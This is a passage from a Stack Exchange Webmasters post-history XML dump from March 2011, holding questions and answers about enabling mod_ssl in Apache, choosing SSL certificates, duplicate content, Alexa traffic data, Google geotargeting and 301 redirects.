tomcatDev&#xD;&#xA;        JkMount /demo* tomcatDemo&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;What I'm not trying to do is enable SSL&#xD;&#xA;&#xD;&#xA;I've added the following to httpd.conf&#xD;&#xA;&#xD;&#xA;    Listen 443&#xD;&#xA;    &lt;VirtualHost _default_:443&gt;&#xD;&#xA;        JkMount /dev* tomcatDev&#xD;&#xA;        JkMount /demo* tomcatDemo&#xD;&#xA;        SSLEngine on&#xD;&#xA;        SSLCertificateFile &quot;/opt/httpd/conf/localhost.crt&quot;&#xD;&#xA;        SSLCertificateKeyFile &quot;/opt/httpd/conf/keystore.key&quot;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;But when I try to restart Apache with &quot;apachectl restart&quot; (yes after shutting down that other app I mentioned so it doesn't toy with https connections) I continuously get the error;&#xD;&#xA;&#xD;&#xA;**&quot;Invalid command 'SSLEngine', perhaps misspelled or defined by a module not included in the server configuration. httpd not running, trying to start&quot;**&#xD;&#xA;&#xD;&#xA;I've looked in the httpd/modules dir and indeed there is no mod_ssl, only mod_jk.so and httpd.exp.&#xD;&#xA;&#xD;&#xA;I've tried using yum to install mod_ssl, it says its already installed. Indeed I can locate mod_ssl.so in /usr/lib/httpd/modules but this is NOT the path to where I've installed httpd which is /opt/httpd and in fact /usr/lib/httpd contains nothing but the modules dir.&#xD;&#xA;&#xD;&#xA;Can anyone tell me how to install mod_ssl properly for my installed location of httpd so I can get past this error:&#xD;&#xA;" />
  <row Id="23294" PostHistoryTypeId="1" PostId="10426" RevisionGUID="32466114-b562-4777-b4cf-b89729bc3e55" CreationDate="2011-03-10T09:54:48.933" UserId="6002" Text="How to install mod_ssl for Apache" />
  <row Id="23295" PostHistoryTypeId="3" PostId="10426" RevisionGUID="32466114-b562-4777-b4cf-b89729bc3e55" CreationDate="2011-03-10T09:54:48.933" UserId="6002" Text="&lt;apache&gt;&lt;ssl&gt;&lt;httpd&gt;" />
  <row Id="23296" PostHistoryTypeId="2" PostId="10427" RevisionGUID="498f4550-d6a8-430d-947f-4e13f915a282" CreationDate="2011-03-10T10:05:31.883" UserId="5727" Text="Lots of SSL seem to come with a warranty:&#xD;&#xA;&#xD;&#xA;    Extended Validation, Green Address Bar&#xD;&#xA;    40-bit minimum to 256-bit encryption&#xD;&#xA;    USD $100,000 warranty&#xD;&#xA;    VeriSign Trust™ Seal and services &#xD;&#xA;&#xD;&#xA;Has anyone in history ever managed to claim on the warranty?  Are they just a gimmick?  Should it affect my purchasing choice?" />
  <row Id="23297" PostHistoryTypeId="1" PostId="10427" RevisionGUID="498f4550-d6a8-430d-947f-4e13f915a282" CreationDate="2011-03-10T10:05:31.883" UserId="5727" Text="SSL Warranty - Meaningless?" />
  <row Id="23298" PostHistoryTypeId="3" PostId="10427" RevisionGUID="498f4550-d6a8-430d-947f-4e13f915a282" CreationDate="2011-03-10T10:05:31.883" UserId="5727" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;&lt;protection&gt;" />
  <row Id="23299" PostHistoryTypeId="2" PostId="10428" RevisionGUID="8b5c75e3-68c7-4fe6-8414-31b6e1d2f845" CreationDate="2011-03-10T10:14:23.450" UserId="5727" Text="What are the main things to consider when choosing between SSL certificates from different providers?  I find they vary in price incredibly." />
  <row Id="23300" PostHistoryTypeId="1" PostId="10428" RevisionGUID="8b5c75e3-68c7-4fe6-8414-31b6e1d2f845" CreationDate="2011-03-10T10:14:23.450" UserId="5727" Text="Advice on buying SSL certificate" />
  <row Id="23301" PostHistoryTypeId="3" PostId="10428" RevisionGUID="8b5c75e3-68c7-4fe6-8414-31b6e1d2f845" CreationDate="2011-03-10T10:14:23.450" UserId="5727" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="23302" PostHistoryTypeId="2" PostId="10429" RevisionGUID="f9097550-316a-445a-a302-81fee4c815f0" CreationDate="2011-03-10T10:20:59.573" UserId="3822" Text="[Google Webmaster Central][1] says&#xD;&#xA;&#xD;&#xA;&gt; Google no longer recommends blocking&#xD;&#xA;&gt; crawler access to duplicate content on&#xD;&#xA;&gt; your website, whether with a&#xD;&#xA;&gt; robots.txt file or other methods.&#xD;&#xA;&#xD;&#xA;So then I **don't need to disallow** crawling of category/tag listings in my blog. Duplicate content is penalized only when used for malicious purposes:&#xD;&#xA;&#xD;&#xA;&gt; In the rare cases in which Google&#xD;&#xA;&gt; perceives that duplicate content may&#xD;&#xA;&gt; be shown with intent **to manipulate our&#xD;&#xA;&gt; rankings** and deceive our users, we'll&#xD;&#xA;&gt; also make appropriate adjustments in&#xD;&#xA;&gt; the indexing and ranking of the sites&#xD;&#xA;&gt; involved. As a result, the ranking of&#xD;&#xA;&gt; the site may suffer, or the site might&#xD;&#xA;&gt; be removed entirely from the Google&#xD;&#xA;&gt; index, in which case it will no longer&#xD;&#xA;&gt; appear in search results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=66359" />
  <row Id="23304" PostHistoryTypeId="2" PostId="10431" RevisionGUID="06cd485e-b680-4436-a9ae-3e2f6f9474f2" CreationDate="2011-03-10T10:38:55.917" UserId="4311" Text="The line to actually load mod_ssl needs to be added to your Apache config somewhere -- on Debian/Ubuntu, you would just do `sudo a2enmod ssl`, but I don't know the RedHat/Fedora/CentOS equivalent. You need a line like:&#xD;&#xA;&#xD;&#xA;    LoadModule ssl_module /usr/lib/httpd/modules/mod_ssl.so&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23305" PostHistoryTypeId="17" PostId="10433" RevisionGUID="0ead8369-cf9c-4292-b87b-0e1e55945dba" CreationDate="2011-03-10T11:18:34.437" UserId="-1" Comment="from http://stackoverflow.com/questions/5258838/wikipedia-system/5258848#5258848" Text="" />
  <row Id="23306" PostHistoryTypeId="17" PostId="10434" RevisionGUID="18eea73d-e995-4b8a-b19b-bc3a92078e07" CreationDate="2011-03-10T11:18:34.437" UserId="-1" Comment="from http://stackoverflow.com/questions/5258838/wikipedia-system/5258856#5258856" Text="" />
  <row Id="23307" PostHistoryTypeId="2" PostId="10433" RevisionGUID="c93da70e-aa3a-430e-8113-580e40ff531b" CreationDate="2011-03-10T11:11:00.367" UserDisplayName="mahesh" Text="use http://www.mediawiki.org/wiki/MediaWiki originally for use on Wikipedia" />
  <row Id="23308" PostHistoryTypeId="2" PostId="10434" RevisionGUID="c7709007-ece3-4618-95b2-1f82e730840a" CreationDate="2011-03-10T11:11:37.940" UserDisplayName="kyndigs" Text="http://en.wikipedia.org/wiki/List_of_wiki_software" />
  <row Id="23309" PostHistoryTypeId="2" PostId="10432" RevisionGUID="c8e3ce40-1dfe-4309-9043-8c6b89233646" CreationDate="2011-03-10T11:09:37.137" UserDisplayName="Laure" Text="I'm looking for a look a like wikipedia system  that runs on php and mysql. &#xD;&#xA;http://www.pmwiki.org that's one I already found.&#xD;&#xA;Maybe there are better so.. Any hints are welcome.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="23310" PostHistoryTypeId="1" PostId="10432" RevisionGUID="c8e3ce40-1dfe-4309-9043-8c6b89233646" CreationDate="2011-03-10T11:09:37.137" UserDisplayName="Laure" Text="Wikipedia System" />
  <row Id="23311" PostHistoryTypeId="3" PostId="10432" RevisionGUID="c8e3ce40-1dfe-4309-9043-8c6b89233646" CreationDate="2011-03-10T11:09:37.137" UserDisplayName="Laure" Text="&lt;php&gt;&lt;mysql&gt;" />
  <row Id="23312" PostHistoryTypeId="17" PostId="10432" RevisionGUID="cbeb0590-a8de-46cc-a632-4b0c2eda6b06" CreationDate="2011-03-10T11:18:34.437" UserId="-1" Comment="from http://stackoverflow.com/questions/5258838/wikipedia-system" Text="" />
  <row Id="23313" PostHistoryTypeId="25" PostId="10428" RevisionGUID="f91a1479-8055-4228-9692-0bd6fbf55bf4" CreationDate="2011-03-10T11:23:32.453" Comment="http://twitter.com/#!/StackWebmasters/status/45806991133782016" />
  <row Id="23314" PostHistoryTypeId="2" PostId="10435" RevisionGUID="e710b32d-802b-4f49-8c4c-e50bdf3a7b51" CreationDate="2011-03-10T12:01:23.600" UserId="5718" Text="The main difference is the logo you get to display on your site to convey supposed trust. Some of the more expensive providers like VeriSign do background checks on your company to provide an extra level of security.&#xD;&#xA;&#xD;&#xA;In reality the level of security is based on the encryption algorithm used by your server and not the certification providers. You can generate a certificate yourself that works the same but users will see a security warning when they browse to your site. What the certificate providers do is sign it to provide external validation that most browsers recognize so the warning isn't displayed. You just want to make sure that the provider you go with is supported by most browsers. I use a Comodo one and haven't had any problems.&#xD;&#xA;&#xD;&#xA;The other difference in price relates to the amount of domains that the certificate can be used with. The cheapest ones can only be used with one domain and that doesn't include sub-domians. If you need to secure multiple domains or sub-domains then you can purchase ones that cover that for a larger fee.&#xD;&#xA;" />
  <row Id="23315" PostHistoryTypeId="2" PostId="10436" RevisionGUID="39524e1d-f9f1-4d38-9087-412a2ac9548e" CreationDate="2011-03-10T12:05:04.903" UserId="3467" Text="I was wondering, are there any statistics available on what size users have their browser set to nowadays? I know the screen resolutions (we have analytics, which shows those as well) but I doubt a lot of people with 1280*xxx and higher still browse full-screen though.&#xD;&#xA;&#xD;&#xA;My boss is determined to keep our website 900px wide though, because that way people with 1800*xxx resolutions can have two browser windows next to eachother without having to scroll horizontally. I have never seen anyone browse with two adjacent browser windows like that except here at my current job, so I'm kind of doubting whether this is the best decision or just his personal preference.&#xD;&#xA;&#xD;&#xA;Anyone that can help out here?" />
  <row Id="23316" PostHistoryTypeId="1" PostId="10436" RevisionGUID="39524e1d-f9f1-4d38-9087-412a2ac9548e" CreationDate="2011-03-10T12:05:04.903" UserId="3467" Text="Browser window size statistics?" />
  <row Id="23317" PostHistoryTypeId="3" PostId="10436" RevisionGUID="39524e1d-f9f1-4d38-9087-412a2ac9548e" CreationDate="2011-03-10T12:05:04.903" UserId="3467" Text="&lt;browsers&gt;&lt;statistics&gt;&lt;resolution&gt;" />
  <row Id="23318" PostHistoryTypeId="2" PostId="10437" RevisionGUID="607128a0-d5a1-48d4-a5ce-4c2b3fc1bfdb" CreationDate="2011-03-10T12:06:49.540" UserId="5727" Text="Check out:&#xD;&#xA;&#xD;&#xA;http://browsersize.googlelabs.com/&#xD;&#xA;&#xD;&#xA;This is a super tool which should fill all your needs" />
  <row Id="23319" PostHistoryTypeId="2" PostId="10438" RevisionGUID="0787122b-bc80-4898-96e2-97bd9e88a4b5" CreationDate="2011-03-10T12:10:23.423" UserId="3790" Text="ok you can just copy all the content from the html folder of the beez theme&#xD;&#xA;next step: change module overrides!" />
  <row Id="23320" PostHistoryTypeId="5" PostId="10437" RevisionGUID="05d3a698-d9f0-42fb-995c-99eabe675f60" CreationDate="2011-03-10T12:38:32.567" UserId="5727" Comment="added 182 characters in body" Text="## Google Browser Size&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://browsersize.googlelabs.com/&#xD;&#xA;&#xD;&#xA;This is a super tool which should fill all your needs, allowing you to even load in a URL and see what it looks like in different resolutions.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/3b0T4.png" />
  <row Id="23321" PostHistoryTypeId="2" PostId="10439" RevisionGUID="b950bfbd-a306-4c07-9cef-afbb351a50b1" CreationDate="2011-03-10T12:40:35.557" UserId="5739" Text="If you are using CPanel check under parked domains, it might set up in there.&#xD;&#xA;&#xD;&#xA;Can you give us the domain name so we can run a whois to check the nameservers &amp; possibly look at the zone records if their nameservers are set up to allow this." />
  <row Id="23323" PostHistoryTypeId="5" PostId="10425" RevisionGUID="de51bcff-d89a-4435-ba7a-ba8daa7fef80" CreationDate="2011-03-10T12:48:15.610" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to increase your site&amp;#39;s position in Google?](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hello,&#xD;&#xA;&#xD;&#xA;I want to launching a new website in 2/3 months.&#xD;&#xA;But I have no idea how the users will find my website.&#xD;&#xA;&#xD;&#xA;Is there a book available or some good tutorials?&#xD;&#xA;&#xD;&#xA;Thanks for the help in advance." />
  <row Id="23324" PostHistoryTypeId="10" PostId="10425" RevisionGUID="92dcc168-ebca-44a3-80b1-cadf9dd68db1" CreationDate="2011-03-10T12:48:15.457" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23325" PostHistoryTypeId="5" PostId="10428" RevisionGUID="e2c72e1c-e8d2-4dbd-9d3c-c7f105269f20" CreationDate="2011-03-10T12:51:55.407" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [SSL certificate provider](http://webmasters.stackexchange.com/questions/1742/ssl-certificate-provider)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;What are the main things to consider when choosing between SSL certificates from different providers?  I find they vary in price incredibly." />
  <row Id="23326" PostHistoryTypeId="10" PostId="10428" RevisionGUID="5b071c63-d02a-48d8-8275-e3ac180c376a" CreationDate="2011-03-10T12:51:55.297" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23328" PostHistoryTypeId="2" PostId="10440" RevisionGUID="88d1c0b3-a1de-4686-bce6-bcbfa44fbafa" CreationDate="2011-03-10T12:58:47.960" UserId="1253" Text="It's only duplicate content if they republish the content they find. They're not doing that. They're creating a directory of sites in a niche which is original content." />
  <row Id="23329" PostHistoryTypeId="2" PostId="10441" RevisionGUID="4a7a399f-da3b-47f8-9dc1-54fac8f9e93c" CreationDate="2011-03-10T13:01:17.083" UserId="6006" Text="I have received several email asking me to renew a domain name: &#xD;&#xA;&#xD;&#xA;**REMINDER: Renew early for multiple years and lock in your savings!** &#xD;&#xA;&#xD;&#xA;***For your review, listed below are domain names and their expiration dates.&#xD;&#xA;F.....COM - Mar. 09, 2011***&#xD;&#xA;&#xD;&#xA;Since I lost the domain name long time ago and couldn't get it back I asked if it was available again. Goddady replyed: **According to WHOIS the domain name is registered to a Japanese company with the expiry date: 2011-12-02.**&#xD;&#xA;&#xD;&#xA;*I wrote to Godaddy: According to your information the domain holder is a Japanese company as described below. Can you give me an explanation why you send me an email asking me to pay for a domain name which I do not own? (Expiration Date: 2011-12-02)  I am just curious, I am sure there is no ill will on your part.*&#xD;&#xA;&#xD;&#xA;Godaddy answered:&#xD;&#xA;&#xD;&#xA;**Dear Sir or Madam,&#xD;&#xA;Thank you for contacting online support. This was just to let you know the domain is registered to someone else and who.** &#xD;&#xA;&#xD;&#xA;Then today I got yet another invoice asking me to renew the same domain name once again:&#xD;&#xA;&#xD;&#xA; *****REMINDER: Renew early for multiple years and lock in your savings! &#xD;&#xA;The product(s) listed below have expired or are at risk of expiring:&#xD;&#xA;Product NameNext Attempt Date.COM Domain Name Renewal - 1 Year (recurring)03/14/2011    F........COM&#xD;&#xA;You are at risk of losing the service(s) or product(s) listed above. Your products are currently set to renew manually – they will NOT be renewed automatically on the next attempt date.*****&#xD;&#xA;&#xD;&#xA;The expiry date has now been changed from the 9 of March to the 14 March.&#xD;&#xA;&#xD;&#xA;Another party owns the domain name and further the domain name was never registered with Godaddy. This appears like a way to make a few buck on a unsuspecting customer, it might even be illegal. Any comment how to take this futher would be most welcome.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23330" PostHistoryTypeId="1" PostId="10441" RevisionGUID="4a7a399f-da3b-47f8-9dc1-54fac8f9e93c" CreationDate="2011-03-10T13:01:17.083" UserId="6006" Text="Invoice from Godaddy with intent to defraud?" />
  <row Id="23331" PostHistoryTypeId="3" PostId="10441" RevisionGUID="4a7a399f-da3b-47f8-9dc1-54fac8f9e93c" CreationDate="2011-03-10T13:01:17.083" UserId="6006" Text="&lt;domains&gt;&lt;registration&gt;&lt;godaddy&gt;" />
  <row Id="23332" PostHistoryTypeId="2" PostId="10442" RevisionGUID="654c957a-0b36-4016-bf4d-83d7b05b8f19" CreationDate="2011-03-10T13:07:44.267" UserDisplayName="Jason4Ever" Text="i'm trying to understand idea of traffic monitoring sites such as alexa.com , which can monitor traffic for any site in the internet (although if it not registered account underit and didn't put any code to alexa for help it to monitor this site traffic) ??&#xD;&#xA;" />
  <row Id="23333" PostHistoryTypeId="1" PostId="10442" RevisionGUID="654c957a-0b36-4016-bf4d-83d7b05b8f19" CreationDate="2011-03-10T13:07:44.267" UserDisplayName="Jason4Ever" Text="how is sites such as alexa.com monitor all web wide sites traffic in the internet ?!?!" />
  <row Id="23334" PostHistoryTypeId="3" PostId="10442" RevisionGUID="654c957a-0b36-4016-bf4d-83d7b05b8f19" CreationDate="2011-03-10T13:07:44.267" UserDisplayName="Jason4Ever" Text="&lt;monitoring&gt;&lt;traffic&gt;&lt;alexa&gt;" />
  <row Id="23335" PostHistoryTypeId="17" PostId="10442" RevisionGUID="f37508e1-ab00-4c8b-b563-5e80b37f8839" CreationDate="2011-03-10T13:11:11.540" UserId="-1" Comment="from http://stackoverflow.com/questions/5260036/how-is-sites-such-as-alexa-com-monitor-all-web-wide-sites-traffic-in-the-internet" Text="" />
  <row Id="23336" PostHistoryTypeId="2" PostId="10443" RevisionGUID="049f0df3-2339-4bee-9ea4-bda64a314a0e" CreationDate="2011-03-10T13:14:16.707" UserId="3922" Text="They gather their data through users who install the Alexa Tool Bar.  See their [Company][1] page for details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alexa.com/company" />
  <row Id="23337" PostHistoryTypeId="2" PostId="10444" RevisionGUID="384edc88-0b45-43d9-bf86-f935218a55bb" CreationDate="2011-03-10T13:21:43.220" UserId="6009" Text="i want know what is the idea which google use it to determine what's is the country which site is belong to ?&#xD;&#xA;&#xD;&#xA;this idea is used also in alexa.com ?&#xD;&#xA;&#xD;&#xA;i think that it's not from server ip ! and not from whois ? mmmm i think  it's by traffic stats , they use it to determine most country which have the bigges visitors to this site .. but how is google do this ? it it use alexa.com ?" />
  <row Id="23338" PostHistoryTypeId="1" PostId="10444" RevisionGUID="384edc88-0b45-43d9-bf86-f935218a55bb" CreationDate="2011-03-10T13:21:43.220" UserId="6009" Text="how is google classify the website belong to any country ?" />
  <row Id="23339" PostHistoryTypeId="3" PostId="10444" RevisionGUID="384edc88-0b45-43d9-bf86-f935218a55bb" CreationDate="2011-03-10T13:21:43.220" UserId="6009" Text="&lt;google&gt;&lt;traffic&gt;&lt;search-engines&gt;&lt;country-specific&gt;&lt;alexa&gt;" />
  <row Id="23340" PostHistoryTypeId="2" PostId="10445" RevisionGUID="ddf384b0-e50c-426c-a6e3-5930e4f6ab8c" CreationDate="2011-03-10T13:37:12.373" UserId="6003" Text="This is not possible until the base domain owner allows to you, or you are the owner of the base domain. However you can create free subdomain from some free sites like Google will provide yourname.blogspot.com and some other will also providing these types of domain name. My domain registrar, named [Domain registration][1] is quite good regarding it as it provides me 24 hour support and instant response to all my queries. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webdomainregistration.in/" />
  <row Id="23341" PostHistoryTypeId="17" PostId="10447" RevisionGUID="e7b52316-7016-4691-af7a-e021aa5a14ec" CreationDate="2011-03-10T13:41:17.970" UserId="-1" Comment="from http://superuser.com/questions/255710/displaying-the-same-page-no-matter-what-uri/255738#255738" Text="" />
  <row Id="23342" PostHistoryTypeId="2" PostId="10447" RevisionGUID="570e0b3b-2e14-4a26-b095-3a18bd773e12" CreationDate="2011-03-10T13:19:40.453" UserDisplayName="Nathaniel Bannister" Text="You want a 301 redirect:&#xD;&#xA;&#xD;&#xA;http://www.trainsignaltraining.com/windows-server-2008-http-redirection" />
  <row Id="23343" PostHistoryTypeId="2" PostId="10446" RevisionGUID="00cf2ee1-48ef-4ab4-8616-4c76c60ecda7" CreationDate="2011-03-10T12:25:04.187" UserId="4949" Text="We have moved a webapplication and would like to display a message in the old IIS. Let's say that the application was in `http://oldserver/appname/`. How do I make sure that our `moved.html` is displayed to the user no matter which uri the user browsed in to (in that virtual folder)?&#xD;&#xA;&#xD;&#xA;* http://oldserver/appname/some/path.aspx ---&gt; should display `http://oldserver/appname/moved.html`&#xD;&#xA;* http://oldserver/appname --&gt; should display `http://oldserver/appname/moved.html`" />
  <row Id="23344" PostHistoryTypeId="1" PostId="10446" RevisionGUID="00cf2ee1-48ef-4ab4-8616-4c76c60ecda7" CreationDate="2011-03-10T12:25:04.187" UserId="4949" Text="Displaying the same page, no matter what URI" />
  <row Id="23345" PostHistoryTypeId="3" PostId="10446" RevisionGUID="00cf2ee1-48ef-4ab4-8616-4c76c60ecda7" CreationDate="2011-03-10T12:25:04.187" UserId="4949" Text="&lt;untagged&gt;" />
  <row Id="23346" PostHistoryTypeId="17" PostId="10446" RevisionGUID="ba7c6360-d9ca-4798-9e2a-d7068db29f80" CreationDate="2011-03-10T13:41:17.970" UserId="-1" Comment="from http://superuser.com/questions/255710/displaying-the-same-page-no-matter-what-uri" Text="" />
  <row Id="23347" PostHistoryTypeId="2" PostId="10448" RevisionGUID="8c29bd9d-a7f2-45a7-865e-46edd7fd823b" CreationDate="2011-03-10T14:01:40.013" UserId="5148" Text="If owner hasn't changed midway through, I think there's a good chance it will bounce back. Register it in Google Webmaster Tools. Add some fresh links to it etc. It will probably take some days or weeks though." />
  <row Id="23348" PostHistoryTypeId="2" PostId="10449" RevisionGUID="ba7cf66f-5913-4407-b0fd-b0457af4a6ec" CreationDate="2011-03-10T14:02:49.583" UserId="5464" Text="little unsure as to the question, but if you are trying to determine how search engines define who your website is targeted at. I believe its based on a number of factors with URL / Server location / site language all being major indicators. &#xD;&#xA;&#xD;&#xA;traffic patterns probably do impact listings as well although a lot of site feature across multiple listings 9i am thinking big brand .com here).  " />
  <row Id="23349" PostHistoryTypeId="6" PostId="10446" RevisionGUID="ac1bbd3e-59e7-44df-980b-62c51e7b7366" CreationDate="2011-03-10T14:05:03.987" UserId="1253" Comment="added iis tag" Text="&lt;redirects&gt;&lt;iis&gt;" />
  <row Id="23350" PostHistoryTypeId="5" PostId="10439" RevisionGUID="1003ec0b-5ecf-4db0-b4c7-558d70e8b0f1" CreationDate="2011-03-10T14:07:55.600" UserId="5739" Comment="EDIT: Just spotted that one of the Tags is CPanel - doh" Text="In CPanel check under Domains -&gt; Parked domains, it might set up in there.&#xD;&#xA;&#xD;&#xA;Can you give us the domain name so we can run a whois to check the nameservers &amp; possibly look at the zone records if their nameservers are set up to allow this." />
  <row Id="23351" PostHistoryTypeId="2" PostId="10450" RevisionGUID="b4ecd5fc-44a2-4af1-8397-e2ad70d866e1" CreationDate="2011-03-10T14:12:49.987" UserId="1253" Text="From [Working with multi-regional websites][1]&#xD;&#xA;&#xD;&#xA;&gt; Google generally uses the following&#xD;&#xA;&gt; elements to determine the geotargeting&#xD;&#xA;&gt; of a website (or a part of a website):&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Use of a ccTLD** is generally a strong signal for users since it&#xD;&#xA;&gt; explicitly specifies a single country&#xD;&#xA;&gt; in an unmistakable way.&#xD;&#xA;&gt; &#xD;&#xA;&gt; or&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Webmaster Tools' manual geotargeting for gTLDs** (this can be on a domain,&#xD;&#xA;&gt; subdomain or subdirectory level); more&#xD;&#xA;&gt; information on this can be found in&#xD;&#xA;&gt; our blog post and in the Help Center.&#xD;&#xA;&gt; With region tags from geotargeting&#xD;&#xA;&gt; being shown in search results, this&#xD;&#xA;&gt; method is also very clear to users.&#xD;&#xA;&gt; Please keep in mind that it generally&#xD;&#xA;&gt; does not make sense to set a&#xD;&#xA;&gt; geographic target if the same pages on&#xD;&#xA;&gt; your site target more than a single&#xD;&#xA;&gt; country (say, all German-speaking&#xD;&#xA;&gt; countries) — just write in that&#xD;&#xA;&gt; language and do not use the&#xD;&#xA;&gt; geotargeting setting (more on writing&#xD;&#xA;&gt; in other languages will follow soon!).&#xD;&#xA;&gt; Server location (through the IP&#xD;&#xA;&gt; address of the server) is frequently&#xD;&#xA;&gt; near your users. However, some&#xD;&#xA;&gt; websites use distributed content&#xD;&#xA;&gt; delivery networks (CDNs) or are hosted&#xD;&#xA;&gt; in a country with better webserver&#xD;&#xA;&gt; infrastructure, so we try not to rely&#xD;&#xA;&gt; on the server location alone.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Other signals** can give us hints. This could be from local addresses &amp;&#xD;&#xA;&gt; phone numbers on the pages, use of&#xD;&#xA;&gt; local language and currency, links&#xD;&#xA;&gt; from other local sites, and/or the use&#xD;&#xA;&gt; of Google's Local Business Center&#xD;&#xA;&gt; (where available).&#xD;&#xA;&gt; &#xD;&#xA;&gt; Note that we do not use locational&#xD;&#xA;&gt; meta tags (like &quot;geo.position&quot; or&#xD;&#xA;&gt; &quot;distribution&quot;) or HTML attributes for&#xD;&#xA;&gt; geotargeting. While these may be&#xD;&#xA;&gt; useful in other regards, we've found&#xD;&#xA;&gt; that they are generally not reliable&#xD;&#xA;&gt; enough to use for geotargeting.&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html" />
  <row Id="23352" PostHistoryTypeId="5" PostId="10442" RevisionGUID="bb1b0af0-35f9-4cec-b48d-36bf6cd6cfd6" CreationDate="2011-03-10T14:14:25.493" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [alexa and compete](http://webmasters.stackexchange.com/questions/6602/alexa-and-compete)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hello,&#xD;&#xA;&#xD;&#xA;i'm trying to understand idea of traffic monitoring sites such as alexa.com , which can monitor traffic for any site in the internet (although if it not registered account underit and didn't put any code to alexa for help it to monitor this site traffic) ??&#xD;&#xA;" />
  <row Id="23353" PostHistoryTypeId="10" PostId="10442" RevisionGUID="fb840d59-7b66-4d3f-87b5-6e195c856e71" CreationDate="2011-03-10T14:14:25.353" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23354" PostHistoryTypeId="25" PostId="10442" RevisionGUID="56503efd-f20e-4215-bed8-1b072a7ac348" CreationDate="2011-03-10T14:23:32.513" Comment="http://twitter.com/#!/StackWebmasters/status/45852289797341185" />
  <row Id="23355" PostHistoryTypeId="2" PostId="10451" RevisionGUID="3d3848f7-a4b3-4ca6-a957-b9a714e0d3f1" CreationDate="2011-03-10T14:27:48.890" UserId="6011" Text="I'm a newbie in web designing. I always wanted to build a professional quality website by myself. So, I started learning HTML/XHTML and CSS for presentation; and, JavaScript and PHP/MySQL for scripting.&#xD;&#xA;&#xD;&#xA;I wonder, would the developers of famous websites design them by hand? Or, have they found out any better idea of using softwares? If so, can you tell me what are they? (By the word famous, I mean any websites that are liked by millions of people all over the world. Like: Google, Facebook etc.)&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23356" PostHistoryTypeId="1" PostId="10451" RevisionGUID="3d3848f7-a4b3-4ca6-a957-b9a714e0d3f1" CreationDate="2011-03-10T14:27:48.890" UserId="6011" Text="Are the famous websites handmade?" />
  <row Id="23357" PostHistoryTypeId="3" PostId="10451" RevisionGUID="3d3848f7-a4b3-4ca6-a957-b9a714e0d3f1" CreationDate="2011-03-10T14:27:48.890" UserId="6011" Text="&lt;google&gt;&lt;css&gt;&lt;php&gt;&lt;website-design&gt;&lt;facebook&gt;" />
  <row Id="23358" PostHistoryTypeId="10" PostId="10451" RevisionGUID="cc8a23e5-716d-48d4-8ea1-5d73fb9313c5" CreationDate="2011-03-10T14:28:27.807" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23359" PostHistoryTypeId="2" PostId="10452" RevisionGUID="b95d047b-bcdd-447c-b526-42ff3d474a28" CreationDate="2011-03-10T14:29:33.750" UserId="6014" Text="Say I have a site 123example.com, with roughly 100 backlinks, which has increased from a google page 27 to page 12 for my keywords over the last month and continues toward the top 10... I have another domain 123.com, which has roughly 30 backlinks, that just points to the 1st domain. I would like to use 123.com as the primary domain and use a 301 redirect on 123example.com... (Q)would I have to start my link building back over again for 123.com or will the  backlinks and PR with the 301 redirect of 123example.com transfer over to the new domain?" />
  <row Id="23360" PostHistoryTypeId="1" PostId="10452" RevisionGUID="b95d047b-bcdd-447c-b526-42ff3d474a28" CreationDate="2011-03-10T14:29:33.750" UserId="6014" Text="301 redirect and page ranking" />
  <row Id="23361" PostHistoryTypeId="3" PostId="10452" RevisionGUID="b95d047b-bcdd-447c-b526-42ff3d474a28" CreationDate="2011-03-10T14:29:33.750" UserId="6014" Text="&lt;domains&gt;&lt;pagerank&gt;&lt;redirect&gt;" />
  <row Id="23362" PostHistoryTypeId="2" PostId="10453" RevisionGUID="9b75be54-2ba3-4529-8b7a-bbdff82b4ae1" CreationDate="2011-03-10T14:34:35.250" UserId="5849" Text="Using the 301 redirect should allow the PR and backlinks to transfer to new domain. &#xD;&#xA;&#xD;&#xA;Although one thing to keep in mind is that Google will look at the content of the new site to determine backlink relevancy, which does have a slight effect on the overall link juice coming from a particular backlink. " />
